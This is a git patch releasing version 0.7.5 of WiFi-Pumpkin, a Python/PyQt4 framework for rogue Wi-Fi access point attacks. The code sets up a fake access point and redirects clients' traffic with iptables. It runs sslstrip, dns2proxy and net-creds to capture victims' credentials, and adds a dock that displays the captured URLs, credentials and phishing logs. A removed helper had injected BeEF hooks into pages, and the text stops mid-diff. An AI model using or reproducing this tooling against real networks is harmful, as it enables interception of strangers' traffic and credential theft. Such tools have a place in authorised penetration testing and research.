From 49cdc1eb89aa1aa453e14f736a8761185dd14ee3 Mon Sep 17 00:00:00 2001 From: mh4x0f Date: Sun, 8 May 2016 00:34:53 -0300 Subject: [PATCH] WiFi-Pumpkin v0.7.5 Release --- CHANGELOG | 15 + Core/Main.py | 272 +++++++---- Core/Utils.py | 455 ++---------------- Core/config/Settings.xml | 56 --- Core/config/app/config.ini | 53 ++ Core/config/commits/Lcommits.cfg | 18 +- Core/helpers/about.py | 132 ++++- Core/helpers/update.py | 16 + Core/loaders/Stealth/PackagesUI.py | 7 +- Core/loaders/checker/Privilege.py | 61 --- Core/loaders/checker/check_depen.py | 6 +- Core/packets/__init__.py | 0 Core/packets/network.py | 195 ++++++++ Core/packets/wireless.py | 138 ++++++ Core/utility/__init__.py | 0 Core/utility/collection.py | 53 ++ Core/utility/extract.py | 61 +++ .../Settings.py => utility/settings.py} | 125 ++--- Core/{Threads.py => utility/threads.py} | 150 +++++- Core/widgets/PopupModels.py | 17 +- Core/widgets/TabModels.py | 135 +++++- Core/widgets/docks/DockMonitor.py | 49 ++ Core/widgets/docks/__init__.py | 0 Modules/poisoners/ArpPosion.py | 30 +- Modules/poisoners/DnsSpoof.py | 26 +- Modules/servers/PhishingManager.py | 9 +- Modules/systems/dhcpStarvation.py | 2 +- Modules/wireless/ProbeRequest.py | 7 +- Modules/wireless/WirelessDeauth.py | 17 +- Plugins/dns2proxy/dnslog.txt | 1 + README.md | 43 +- installer.sh | 5 +- requirements.txt | 5 +- wifi-pumpkin.py | 22 +- 34 files changed, 1334 insertions(+), 847 deletions(-) delete mode 100644 Core/config/Settings.xml create mode 100644 Core/config/app/config.ini delete mode 100644 Core/loaders/checker/Privilege.py create mode 100644 Core/packets/__init__.py create mode 100644 Core/packets/network.py create mode 100644 Core/packets/wireless.py create mode 100644 Core/utility/__init__.py create mode 100644 Core/utility/collection.py create mode 100644 Core/utility/extract.py rename Core/{config/Settings.py => utility/settings.py} (73%) rename Core/{Threads.py => utility/threads.py} (62%) create mode 100644 Core/widgets/docks/DockMonitor.py create mode 100644 Core/widgets/docks/__init__.py diff --git a/CHANGELOG b/CHANGELOG index f77cd93..5e5247a 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,3 +1,18 @@ +Version 0.7.5 +------------- +- fixed size QTableWidget on modules +- fixed scanner fast ipaddress devices +- added new QSettings Core/modules::Configure +- added mac address interface to exclude NetworkManager +- added dockArea Monitor -> Pumpkin-Settings +- added progressBar for starting Thread +- removed privillege.py: execute root app +- added support to start AP with wireless connection + * Kali Linux (Apparently not work, need some tests) :( + * support kubuntu 15.10 + * support wifislax - 4.11.1 + * support parrot - 2.0.5 + Version 0.7.3 ------------- - added new Pump-Logo default diff --git a/Core/Main.py b/Core/Main.py index cbf1409..91bb23f 100644 --- a/Core/Main.py +++ b/Core/Main.py @@ -1,17 +1,21 @@ -from sys import exit +from logging import getLogger,ERROR +getLogger('scapy.runtime').setLevel(ERROR) try: + from sys import exit from PyQt4.QtGui import * from PyQt4.QtCore import * except ImportError: exit('WiFi-Pumpkin need PyQt4 :(') +from pwd import getpwnam +from grp import getgrnam from time import asctime from shutil import move from re import search,sub -from ast import literal_eval -from datetime import datetime + from os import ( - system,path,getcwd,chdir,popen,listdir,stat + system,path,getcwd, + popen,listdir,mkdir,chown,remove ) from subprocess import ( Popen,PIPE,STDOUT,call,check_output, @@ -19,15 +23,20 @@ ) from Core.Utils import ( - ProcessThread,Refactor,setup_logger, - set_monitor_mode,ProcessHostapd,ThreadPopen + Refactor,set_monitor_mode ) from Core.widgets.TabModels import ( - ProxyPlugins,PumpkinProxy,PumpkinMonitor, + PumpkinProxy,PumpkinMonitor, PumpkinSettings ) -from Core.Threads import (ThRunDhcp,Thread_sslstrip, - Thread_sergioProxy + +from Core.widgets.PopupModels import ( + PopUpPlugins,PopUpServer +) + +from Core.utility.threads import ( + ProcessHostapd,Thread_sergioProxy, + ThRunDhcp,Thread_sslstrip,ProcessThread ) from Proxy import * @@ -35,8 +44,9 @@ from Core.helpers.about import frmAbout from Core.helpers.update import frm_githubUpdate from isc_dhcp_leases.iscdhcpleases import IscDhcpLeases -from Core.widgets.PopupModels import PopUpPlugins,PopUpServer -from Core.config.Settings import frm_Settings +from Core.widgets.docks.DockMonitor import dockAreaAPI +from Core.utility.settings import frm_Settings +from Core.helpers.update import ProgressBarWid """ Description: @@ -44,7 +54,7 @@ for mount Access point. Copyright: - Copyright (C) 2015 Marcos Nesster P0cl4bs Team + Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or @@ -63,19 +73,27 @@ author = 'Marcos Nesster (@mh4x0f) P0cl4bs Team' emails = ['mh4root@gmail.com','p0cl4bs@gmail.com'] license = ' GNU GPL 3' -version = '0.7.3' -update = '25/01/2016' # This is Brasil :D +version = '0.7.5' +update = '07/05/2016' # This is Brasil :D desc = ['Framework for Rogue Wi-Fi Access Point Attacks'] class Initialize(QMainWindow): ''' Main window settings multi-window opened''' def __init__(self, parent=None): super(Initialize, self).__init__(parent) - self.form_widget = SubMain(self) + self.form_widget = WifiPumpkin(self,self) self.FSettings = frm_Settings() - self.setCentralWidget(self.form_widget) + self.form_widget.setFixedHeight(540) + self.form_widget.setFixedWidth(370) + dock = QDockWidget() + dock.setTitleBarWidget(QWidget()) + dock.setWidget(self.form_widget) + dock.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) + dock.setFeatures(QDockWidget.NoDockWidgetFeatures) + dock.setAllowedAreas(Qt.AllDockWidgetAreas) + self.addDockWidget(Qt.LeftDockWidgetArea, dock) self.setWindowTitle('WiFi-Pumpkin v' + version) - self.setGeometry(0, 0, 320, 400) + self.setGeometry(0, 0, 350, 450) self.loadtheme(self.FSettings.XmlThemeSelected()) def loadtheme(self,theme): @@ -101,10 +119,11 @@ def closeEvent(self, event): event.accept() return -class SubMain(QWidget): +class WifiPumpkin(QWidget): ''' load main window class''' - def __init__(self, parent = None): - super(SubMain, self).__init__(parent) + def __init__(self, parent = None,window=QMainWindow): + self.InitialMehtod = window + super(WifiPumpkin, self).__init__(parent) #self.create_sys_tray() self.MainControl = QVBoxLayout(self) self.TabControl = QTabWidget(self) @@ -112,6 +131,7 @@ def __init__(self, parent = None): self.Tab_Injector = QWidget(self) self.Tab_Settings = QWidget(self) self.Tab_ApMonitor = QWidget(self) + self.FSettings = frm_Settings() #self.TabControl.setTabPosition(QTabWidget.w) self.TabControl.addTab(self.Tab_Default,'Home') self.TabControl.addTab(self.Tab_Injector,'Pump-Proxy') @@ -123,11 +143,29 @@ def __init__(self, parent = None): self.ContentTabMonitor = QVBoxLayout(self.Tab_ApMonitor) self.Apthreads = {'RougeAP': []} self.APclients = {} + self.AreaDockInfo = { + ':: URLMonitor::': { + 'active' : self.FSettings.Settings.get_setting('dockarea','dock_urlmonitor',format=bool), + 'path': 'Logs/AccessPoint/urls.log', + 'thread_name': 'Netcreds::Urls', + 'error': 'netcreds no logger found.'}, + + '::Credentials:: ': { + 'active' : self.FSettings.Settings.get_setting('dockarea','dock_credencials',format=bool), + 'path': 'Logs/AccessPoint/credentials.log', + 'thread_name': 'Netcreds::Credentials', + 'error': 'netcreds no logger found.'}, + + '::Pumpkin-Phishing:: ': { + 'active' : self.FSettings.Settings.get_setting('dockarea','dock_phishing',format=bool), + 'path': 'Logs/Phishing/Webclone.log', + 'thread_name': 'PumpKin-Phishing::Capture', + 'error': 'Phishing::capture no logger found'} + } self.ConfigTwin = { 'ProgCheck':[],'AP_iface': None, 'PortRedirect': None, 'interface':'None'} self.THeaders = {'ip-address':[], 'device':[], 'mac-address':[]} - self.FSettings = frm_Settings() self.PopUpPlugins = PopUpPlugins(self.FSettings) self.checkPlugins() self.intGUI() @@ -148,6 +186,9 @@ def InjectorTABContent(self): self.ProxyPluginsTAB.sendError.connect(self.GetErrorInjector) self.ContentTabInject.addLayout(self.ProxyPluginsTAB) + def getContentTabDock(self,docklist): + self.dockAreaList = docklist + def GetErrorInjector(self,data): QMessageBox.warning(self,'Error Module::Proxy',data) def GetmessageSave(self,data): @@ -158,7 +199,8 @@ def ApMonitorTabContent(self): self.ContentTabMonitor.addLayout(self.PumpMonitorTAB) def SettingsTABContent(self): - self.PumpSettingsTAB = PumpkinSettings() + self.PumpSettingsTAB = PumpkinSettings(None,self.AreaDockInfo,self.InitialMehtod) + self.PumpSettingsTAB.checkDockArea.connect(self.getContentTabDock) self.PumpSettingsTAB.sendMensage.connect(self.GetmessageSave) self.ContentTabsettings.addLayout(self.PumpSettingsTAB) @@ -171,7 +213,7 @@ def DefaultTABContent(self): self.StatusDhcp = QLabel('') self.StatusBar.addWidget(self.StatusDhcp) self.Started(False) - self.StatusBar.addWidget(QLabel(" "*21)) + self.StatusBar.addWidget(QLabel(''),20) self.StatusBar.addWidget(QLabel("::Clients::")) self.connectedCount.setText("0") self.connectedCount.setStyleSheet("QLabel { color : yellow; }") @@ -186,12 +228,13 @@ def DefaultTABContent(self): self.TabInfoAP.setRowCount(50) self.TabInfoAP.setFixedHeight(180) self.TabInfoAP.resizeRowsToContents() - self.TabInfoAP.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) + self.TabInfoAP.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) self.TabInfoAP.horizontalHeader().setStretchLastSection(True) self.TabInfoAP.setSelectionBehavior(QAbstractItemView.SelectRows) self.TabInfoAP.setEditTriggers(QAbstractItemView.NoEditTriggers) self.TabInfoAP.verticalHeader().setVisible(False) self.TabInfoAP.setHorizontalHeaderLabels(self.THeaders.keys()) + self.TabInfoAP.verticalHeader().setDefaultSectionSize(23) #edits self.mConfigure() @@ -233,6 +276,7 @@ def DefaultTABContent(self): self.layout = QFormLayout() self.GroupAdapter = QGroupBox() + self.GroupAdapter.setFixedHeight(120) self.GroupAdapter.setFixedWidth(120) self.GroupAdapter.setTitle('Network Adapter::') self.layout.addRow(self.selectCard) @@ -255,6 +299,9 @@ def DefaultTABContent(self): self.slipt.addWidget(self.GroupAP) self.slipt.addWidget(self.GroupAdapter) + self.progress = ProgressBarWid(total=101) + self.progress.setFixedHeight(20) + self.FormGroup2.addRow(self.progress) self.FormGroup2.addRow(hBox) self.FormGroup2.addRow(self.TabInfoAP) self.FormGroup2.addRow(self.StatusBar) @@ -454,17 +501,17 @@ def logdns2proxy(self): self.Fdns2proxy.show() def checkPlugins(self): - if literal_eval(self.FSettings.xmlSettings('sslstrip_plugin','status',None,False)): + if self.FSettings.Settings.get_setting('plugins','sslstrip_plugin',format=bool): self.PopUpPlugins.check_sslstrip.setChecked(True) self.PopUpPlugins.set_sslStripRule() - if literal_eval(self.FSettings.xmlSettings('netcreds_plugin','status',None,False)): + if self.FSettings.Settings.get_setting('plugins','netcreds_plugin',format=bool): self.PopUpPlugins.check_netcreds.setChecked(True) - if literal_eval(self.FSettings.xmlSettings('dns2proxy_plugin','status',None,False)): + if self.FSettings.Settings.get_setting('plugins','dns2proxy_plugin',format=bool): self.PopUpPlugins.check_dns2proy.setChecked(True) self.PopUpPlugins.set_Dns2proxyRule() - if literal_eval(self.FSettings.xmlSettings('sergioproxy_plugin','status',None,False)): + if self.FSettings.Settings.get_setting('plugins','sergioproxy_plugin',format=bool): self.PopUpPlugins.check_sergioProxy.setChecked(True) - if not literal_eval(self.FSettings.xmlSettings('sslstrip_plugin','status',None,False)): + if not self.FSettings.Settings.get_setting('plugins','sslstrip_plugin',format=bool): self.PopUpPlugins.set_sslStripRule() def Started(self,bool): @@ -494,7 +541,7 @@ def GetDHCPRequests(self,data): elif len(data) == 7: if Refactor.check_is_mac(data[4]): if data[4] not in self.APclients.keys(): - leases = IscDhcpLeases('Settings/dhcp/dhcpd.leases') + leases = IscDhcpLeases('/var/lib/dhcp/dhcpd.leases') hostname = None try: for item in leases.get(): @@ -547,8 +594,8 @@ def mConfigure(self): self.EditGateway.setText( [self.get_interfaces[x] for x in self.get_interfaces.keys() if x == 'gateway'][0]) except:pass - self.EditApName.setText(self.FSettings.xmlSettings('AP', 'name',None,False)) - self.EditChannel.setText(self.FSettings.xmlSettings('channel', 'mchannel',None,False)) + self.EditApName.setText(self.FSettings.Settings.get_setting('accesspoint','APname')) + self.EditChannel.setText(self.FSettings.Settings.get_setting('accesspoint','channel')) self.ConfigTwin['PortRedirect'] = self.FSettings.redirectport.text() for i,j in enumerate(self.get_interfaces['all']): if search('wl', j):self.selectCard.addItem(self.get_interfaces['all'][i]) @@ -579,12 +626,20 @@ def refrash_interface(self): def kill(self): if self.Apthreads['RougeAP'] == []: return self.ProxyPluginsTAB.GroupSettings.setEnabled(True) - self.FSettings.xmlSettings('statusAP','value','False',False) + self.FSettings.Settings.set_setting('accesspoint','statusAP',False) + if hasattr(self,'dockAreaList'): + for dock in self.dockAreaList.keys(): + self.dockAreaList[dock].clear() + self.dockAreaList[dock].stopProcess() + self.PumpSettingsTAB.GroupArea.setEnabled(True) for thread in self.Apthreads['RougeAP']: thread.stop() for kill in self.SettingsAP['kill']: Popen(kill.split(), stdout=PIPE,shell=False,stderr=PIPE) + Refactor.settingsNetworkManager(self.ConfigTwin['AP_iface'],Remove=True) set_monitor_mode(self.ConfigTwin['AP_iface']).setDisable() self.Started(False) + self.progress.setValue(1) + self.progress.change_color('') self.Apthreads['RougeAP'] = [] self.APclients = {} lines = [] @@ -594,7 +649,7 @@ def kill(self): lines.append(str(self.ProxyPluginsTAB.log_inject.item(index).text())) for log in lines: injectionlog.write(log+'\n') injectionlog.close() - with open('Settings/dhcp/dhcpd.leases','w') as dhcpLease: + with open('/var/lib/dhcp/dhcpd.leases','w') as dhcpLease: dhcpLease.write(''),dhcpLease.close() self.btn_start_attack.setDisabled(False) Refactor.set_ip_forward(0) @@ -610,10 +665,11 @@ def delete_logger(self): 'do you want to delete Logs?',QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if resp == QMessageBox.Yes: - system('rm Logs/Caplog/*.cap') + Popen(['rm','Logs/Caplog/*.cap'], stdout=PIPE,shell=False,stderr=PIPE) for keyFile in content['Files']: with open(keyFile,'w') as f: f.write(''),f.close() + QMessageBox.information(self,'Logger','Removed all the output .log attack session') def start_etter(self): if self.ConfigTwin['ProgCheck'][1]: @@ -640,7 +696,7 @@ def start_dift(self): def CoreSettings(self): self.DHCP = self.PumpSettingsTAB.getPumpkinSettings() - self.ConfigTwin['PortRedirect'] = self.FSettings.xmlSettings('redirect', 'port',None,False) + self.ConfigTwin['PortRedirect'] = self.FSettings.Settings.get_setting('settings','redirect_port') self.SettingsAP = { 'interface': [ @@ -677,7 +733,7 @@ def CoreSettings(self): 'option broadcast-address {};\n'.format(self.DHCP['broadcast']), 'option domain-name \"%s\";\n'%(str(self.EditApName.text())), 'option domain-name-servers {};\n'.format(self.DHCP['router']), - 'range {};\n'.format(self.DHCP['range']), + 'range {};\n'.format(self.DHCP['range'].replace('/',' ')), '}', ], 'dnsmasq': @@ -691,7 +747,7 @@ def CoreSettings(self): Refactor.set_ip_forward(1) for i in self.SettingsAP['kill']: Popen(i.split(), stdout=PIPE,shell=False,stderr=PIPE) for i in self.SettingsAP['interface']: Popen(i.split(), stdout=PIPE,shell=False,stderr=PIPE) - dhcp_select = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) + dhcp_select = self.FSettings.Settings.get_setting('accesspoint','dhcp_server') if dhcp_select != 'dnsmasq': with open('Settings/dhcpd.conf','w') as dhcp: for i in self.SettingsAP['dhcp-server']:dhcp.write(i) @@ -706,54 +762,68 @@ def CoreSettings(self): dhcp.write(i) dhcp.close() - def StartApFake(self): - if len(self.selectCard.currentText()) == 0: - return QMessageBox.warning(self,'Error interface ','Network interface is not found') - if len(self.EditGateway.text()) == 0: - return QMessageBox.warning(self,'Error Gateway','gateway is not found') + def SoftDependencies(self): if not self.ConfigTwin['ProgCheck'][5]: return QMessageBox.information(self,'Error Hostapd','hostapd is not installed') - dhcp_select = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) + dhcp_select = self.FSettings.Settings.get_setting('accesspoint','dhcp_server') if dhcp_select == 'iscdhcpserver': if not self.ConfigTwin['ProgCheck'][3]: return QMessageBox.warning(self,'Error dhcp','isc-dhcp-server is not installed') - elif dhcp_select == 'dnsmasq': - if not self.ConfigTwin['ProgCheck'][4]: - return QMessageBox.information(self,'Error dhcp','dnsmasq is not installed') - if str(Refactor.get_interfaces()['activated']).startswith('wl'): - return QMessageBox.information(self,'Error network card', - 'You are connected with interface wireless, try again with local connection') + return True + + def StartApFake(self): + if len(self.selectCard.currentText()) == 0: + return QMessageBox.warning(self,'Error interface ','Network interface is not found') + if not type(self.SoftDependencies()) is bool: return + + self.interfacesLink = Refactor.get_interfaces() + if len(self.EditGateway.text()) == 0 or self.interfacesLink['activated'] == None: + return QMessageBox.warning(self,'Internet Connection','No internet connection not found, ' + 'sorry WiFi-Pumpkin tool requires an internet connection to mount MITM attack. ' + 'check your connection and try again') + + if str(self.selectCard.currentText()) == self.interfacesLink['activated']: + iwconfig = Popen(['iwconfig'], stdout=PIPE,shell=False,stderr=PIPE) + for line in iwconfig.stdout.readlines(): + if str(self.selectCard.currentText()) in line: + return QMessageBox.warning(self,'Wireless Interface', + 'An connection with {} has been detected ' + ' : Device or resource busy\n{}'.format( + str(self.selectCard.currentText()),line)) + + import platform + if platform.dist()[0] == 'Kali': + if str(self.interfacesLink['activated']).startswith('wl'): + return QMessageBox.information(self,'Error network card', + 'You are connected with interface wireless, try again with local connection') self.btn_start_attack.setDisabled(True) - self.APactived = self.FSettings.xmlSettings('accesspoint','actived',None,False) - if self.APactived == 'airbase-ng': - self.ConfigTwin['interface'] = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) - self.FSettings.xmlSettings('interface', 'monitor_mode',self.ConfigTwin['interface'],False) - # airbase thread - Thread_airbase = ProcessThread(['airbase-ng', - '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), - '-F', 'Logs/Caplog/'+asctime(),self.ConfigTwin['interface']]) - Thread_airbase.name = 'Airbase-ng' - self.Apthreads['RougeAP'].append(Thread_airbase) - Thread_airbase.start() - # settings - while True: - if Thread_airbase.iface != None: - self.ConfigTwin['AP_iface'] = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0] - self.FSettings.xmlSettings('netcreds', 'interface',self.ConfigTwin['AP_iface'],False) - break - self.CoreSettings() - elif self.APactived == 'hostapd': - self.FSettings.xmlSettings('netcreds','interface', - str(self.selectCard.currentText()),False) + self.APactived = self.FSettings.Settings.get_setting('accesspoint','using') + if self.APactived == 'hostapd': self.ConfigTwin['AP_iface'] = str(self.selectCard.currentText()) - try: - check_output(['nmcli','radio','wifi',"off"]) - except CalledProcessError: + if str(self.interfacesLink['activated']).startswith('eth') or \ + str(self.interfacesLink['activated']).startswith('enp'): try: - check_output(['nmcli','nm','wifi',"off"]) - except CalledProcessError as e: - return QMessageBox.warning(self,'Error nmcli',e) - call(['rfkill', 'unblock' ,'wifi']) + check_output(['nmcli','radio','wifi',"off"]) + except CalledProcessError: + try: + check_output(['nmcli','nm','wifi',"off"]) + except CalledProcessError as e: + return QMessageBox.warning(self,'Error nmcli',e) + call(['rfkill', 'unblock' ,'wifi']) + elif str(self.interfacesLink['activated']).startswith('wl'): + if not Refactor.settingsNetworkManager(self.ConfigTwin['AP_iface'],Remove=False): + return QMessageBox.warning(self,'Network Manager', + 'Not found file NetworkManager.conf in folder /etc/NetworkManager/') + + leases = '/var/lib/dhcp/dhcpd.leases' + if not path.exists(leases[:-12]): + mkdir(leases[:-12]) + if not path.isfile(leases): + with open(leases,'wb') as leaconf: + leaconf.close() + uid = getpwnam('root').pw_uid + gid = getgrnam('root').gr_gid + chown(leases, uid, gid) self.CoreSettings() ignore = ('interface=','ssid=','channel=') with open('Settings/hostapd.conf','w') as apconf: @@ -767,17 +837,16 @@ def StartApFake(self): self.Thread_hostapd.setObjectName('hostapd') self.Thread_hostapd.statusAP_connected.connect(self.GetHostapdStatus) self.Apthreads['RougeAP'].append(self.Thread_hostapd) - self.Thread_hostapd.start() # thread dhcp - selected_dhcp = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) + popen('ifconfig {} up'.format(str(self.selectCard.currentText()))) + selected_dhcp = self.FSettings.Settings.get_setting('accesspoint','dhcp_server') if selected_dhcp == 'iscdhcpserver': - Thread_dhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-lf','Settings/dhcp/dhcpd.leases','-cf', + Thread_dhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-lf','/var/lib/dhcp/dhcpd.leases','-cf', '/etc/dhcp/dhcpd.conf',self.ConfigTwin['AP_iface']]) Thread_dhcp.sendRequest.connect(self.GetDHCPRequests) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) - Thread_dhcp.start() ##### dnsmasq disabled # elif selected_dhcp == 'dnsmasq': @@ -786,14 +855,13 @@ def StartApFake(self): # Thread_dhcp .setObjectName('DHCP') # self.Apthreads['RougeAP'].append(Thread_dhcp) # Thread_dhcp .start() - else:return QMessageBox.information(self,'DHCP',selected_dhcp + ' not found.') self.Started(True) self.ProxyPluginsTAB.GroupSettings.setEnabled(False) - self.FSettings.xmlSettings('statusAP','value','True',False) + self.FSettings.Settings.set_setting('accesspoint','statusAP',True) if self.FSettings.check_redirect.isChecked() or not self.PopUpPlugins.check_sslstrip.isChecked(): popen('iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format(str(self.EditGateway.text()))) - self.FSettings.xmlSettings('sslstrip_plugin','status','False',False) + self.FSettings.Settings.set_setting('plugins','sslstrip_plugin',False) self.PopUpPlugins.check_sslstrip.setChecked(False) self.PopUpPlugins.unset_Rules('sslstrip') @@ -811,35 +879,29 @@ def StartApFake(self): self.plugins,self.ProxyPluginsTAB._PluginsToLoader) self.Threadsslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(self.Threadsslstrip) - self.Threadsslstrip.start() elif not self.PopUpPlugins.check_sslstrip.isChecked() and self.PopUpPlugins.check_sergioProxy.isChecked(): self.Threadsslstrip = Thread_sergioProxy(self.ConfigTwin['PortRedirect'], self.plugins,self.ProxyPluginsTAB._PluginsToLoader) self.Threadsslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(self.Threadsslstrip) - self.Threadsslstrip.start() elif self.PopUpPlugins.check_sergioProxy.isChecked() and self.PopUpPlugins.check_sergioProxy.isChecked(): self.Threadsslstrip = Thread_sergioProxy(self.ConfigTwin['PortRedirect'], self.plugins,self.ProxyPluginsTAB._PluginsToLoader) self.Threadsslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(self.Threadsslstrip) - self.Threadsslstrip.start() + if self.PopUpPlugins.check_dns2proy.isChecked(): + Thread_dns2proxy = ProcessThread(['python','Plugins/dns2proxy/dns2proxy.py']) + Thread_dns2proxy.setName('Dns2Proxy') + self.Apthreads['RougeAP'].append(Thread_dns2proxy) if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread(['python','Plugins/net-creds/net-creds.py','-i', - self.FSettings.xmlSettings('netcreds', 'interface',None,False)]) + str(self.selectCard.currentText())]) Thread_netcreds.setName('Net-Creds') self.Apthreads['RougeAP'].append(Thread_netcreds) - Thread_netcreds.start() - - if self.PopUpPlugins.check_dns2proy.isChecked(): - Thread_dns2proxy = ProcessThread(['python','Plugins/dns2proxy/dns2proxy.py']) - Thread_dns2proxy.setName('Dns2Proxy') - self.Apthreads['RougeAP'].append(Thread_dns2proxy) - Thread_dns2proxy.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): @@ -851,6 +913,24 @@ def StartApFake(self): popen(rules.replace('$$',str(Refactor.get_interfaces()['activated']))) else:popen(rules) + self.PumpSettingsTAB.GroupArea.setEnabled(False) + self.progress.change_color('#FFA500') + for thread in self.Apthreads['RougeAP']: + thread.start() + self.progress.setText(thread.getNameThread()) + self.progress.update_bar_simple(20) + QThread.sleep(3) + self.progress.setValue(100) + self.progress.change_color('grey') + self.progress.setText('') + if self.FSettings.Settings.get_setting('dockarea','advanced',format=bool): + self.PumpSettingsTAB.doCheckAdvanced() + if hasattr(self,'dockAreaList'): + filelist = [ f for f in listdir(".") if f.endswith(".log.offset") ] + for f in filelist: remove(f) + for dock in self.dockAreaList.keys(): + self.dockAreaList[dock].RunThread() + def create_sys_tray(self): self.sysTray = QSystemTrayIcon(self) self.sysTray.setIcon(QIcon('Icons/icon.ico')) diff --git a/Core/Utils.py b/Core/Utils.py index f66f644..de9454f 100644 --- a/Core/Utils.py +++ b/Core/Utils.py @@ -5,12 +5,6 @@ from os import popen,path,walk,system,getpid,stat from subprocess import call,check_output,Popen,PIPE,STDOUT from re import search,compile,VERBOSE,IGNORECASE -from BeautifulSoup import BeautifulSoup -from netaddr import EUI -try: - from nmap import PortScanner -except ImportError: - pass import threading import netifaces from threading import Thread @@ -19,6 +13,7 @@ from PyQt4.QtCore import * from PyQt4.QtGui import * import logging +import configparser """ Description: @@ -41,89 +36,6 @@ along with this program. If not, see """ -def airdump_start(interface): - process = ProcessThread(['xterm', - '-geometry', '85x15-1+250', '-T', - '"Scan AP Airodump-ng"', '-e', 'airodump-ng', interface, - '--write', 'Settings/Dump/networkdump']) - process.name = "Airodump-ng scan" - process.start() - process.join() - return None - -def Beef_Hook_url(soup,hook_url): - try: - for link_tag in soup.findAll('body'): - link_tag_idx = link_tag.parent.contents.index(link_tag) - link_tag.parent.insert(link_tag_idx + 1, BeautifulSoup(hook_url)) - link_tag.parent.insert(link_tag_idx + 1, BeautifulSoup("
")) - return soup - except NameError: - print('[-] please. your need install the module python-BeautifulSoup') - -def get_network_scan(): - list_scan = [] - try: - xml = BeautifulSoup(open("Settings/Dump/networkdump-01.kismet.netxml", 'r').read()) - for network in xml.findAll('wireless-network'): - essid = network.find('essid').text - if not essid: - essid = 'Hidden' - channel = network.find('channel').text - bssid = network.find('bssid').text - list_scan.append(channel + "||" + essid + "||" + bssid) - popen("rm Settings/Dump/networkdump*") - return list_scan - except IOError: - return None - -class ThreadPopen(QThread): - def __init__(self,cmd): - QThread.__init__(self) - self.cmd = cmd - self.process = None - - def run(self): - print 'Starting Thread:' + self.objectName() - self.process = Popen(self.cmd, - stdout=PIPE, - stderr=STDOUT) - for line in iter(self.process.stdout.readline, b''): - self.emit(SIGNAL('Activated( QString )'),line.rstrip()) - - def stop(self): - print 'Stop thread:' + self.objectName() - if self.process is not None: - self.process.terminate() - self.process = None - - -class ThreadScan(QThread): - def __init__(self,gateway): - QThread.__init__(self) - self.gateway = gateway - self.result = '' - def run(self): - try: - nm = PortScanner() - a=nm.scan(hosts=self.gateway, arguments='-sU --script nbstat.nse -O -p137') - for k,v in a['scan'].iteritems(): - if str(v['status']['state']) == 'up': - try: - ip = str(v['addresses']['ipv4']) - hostname = str(v['hostscript'][0]['output']).split(',')[0] - hostname = hostname.split(':')[1] - mac = str(v['hostscript'][0]['output']).split(',')[2] - if search('',mac):mac = '' - else:mac = mac[13:32] - self.result = ip +'|'+mac.replace('\n','')+'|'+hostname.replace('\n','') - self.emit(SIGNAL('Activated( QString )'), - self.result) - except : - pass - except NameError: - QMessageBox.information(self,'error module','the module Python-nmap not installed') - class set_monitor_mode(QDialog): def __init__(self,interface,parent = None): super(set_monitor_mode, self).__init__(parent) @@ -144,31 +56,6 @@ def setDisable(self): Popen(['iwconfig', self.interface, 'mode','managed']) Popen(['ifconfig', self.interface, 'up']) -class ProcessHostapd(QThread): - statusAP_connected = pyqtSignal(object) - def __init__(self,cmd): - QThread.__init__(self) - self.cmd = cmd - - def run(self): - print 'Starting Thread:' + self.objectName() - self.makeLogger() - self.process = Popen(self.cmd,stdout=PIPE,stderr=STDOUT) - for line in iter(self.process.stdout.readline, b''): - #self.log_hostapd.info(line.rstrip()) - if self.objectName() == 'hostapd': - if 'AP-STA-DISCONNECTED' in line.rstrip() or 'inactivity (timer DEAUTH/REMOVE)' in line.rstrip(): - self.statusAP_connected.emit(line.split()[2]) - - def makeLogger(self): - setup_logger('hostapd', './Logs/AccessPoint/requestAP.log') - self.log_hostapd = logging.getLogger('hostapd') - - def stop(self): - print 'Stop thread:' + self.objectName() - if self.process is not None: - self.process.terminate() - self.process = None class ThreadPhishingServer(QThread): send = pyqtSignal(str) @@ -189,314 +76,6 @@ def stop(self): self.process.terminate() -class ProcessThread(threading.Thread): - def __init__(self,cmd,): - threading.Thread.__init__(self) - self.cmd = cmd - self.iface = None - self.process = None - self.logger = False - self.prompt = True - - def run(self): - print 'Starting Thread:' + self.name - if self.name == 'Dns2Proxy': - setup_logger('dns2proxy', './Logs/AccessPoint/dns2proxy.log') - log_dns2proxy = logging.getLogger('dns2proxy') - self.logger = True - self.process = Popen(self.cmd,stdout=PIPE,stderr=STDOUT) - for line in iter(self.process.stdout.readline, b''): - if self.logger: - if self.name == 'Dns2Proxy': - log_dns2proxy.info(line.rstrip()) - self.prompt = False - if self.prompt: - print (line.rstrip()) - - def stop(self): - print 'Stop thread:' + self.name - if self.process is not None: - self.process.terminate() - self.process = None - -class ThreadScannerAP(QThread): - def __init__(self,interface): - QThread.__init__(self) - self.interface = interface - self.stopped = False - - def run(self): - print 'Starting Thread:' + self.objectName() - self.LoopScanmer() - - def scannerAP(self,q): - while not self.stopped: - try: - sniff(iface=self.interface, prn =lambda x : q.put(x), timeout=20) - except:pass - if self.stopped: - break - - def LoopScanmer(self): - q = Queue.Queue() - sniff = Thread(target =self.scannerAP, args = (q,)) - sniff.daemon = True - sniff.start() - while (not self.stopped): - try: - pkt = q.get(timeout = 1) - self.Scanner_devices(pkt) - except Queue.Empty: - 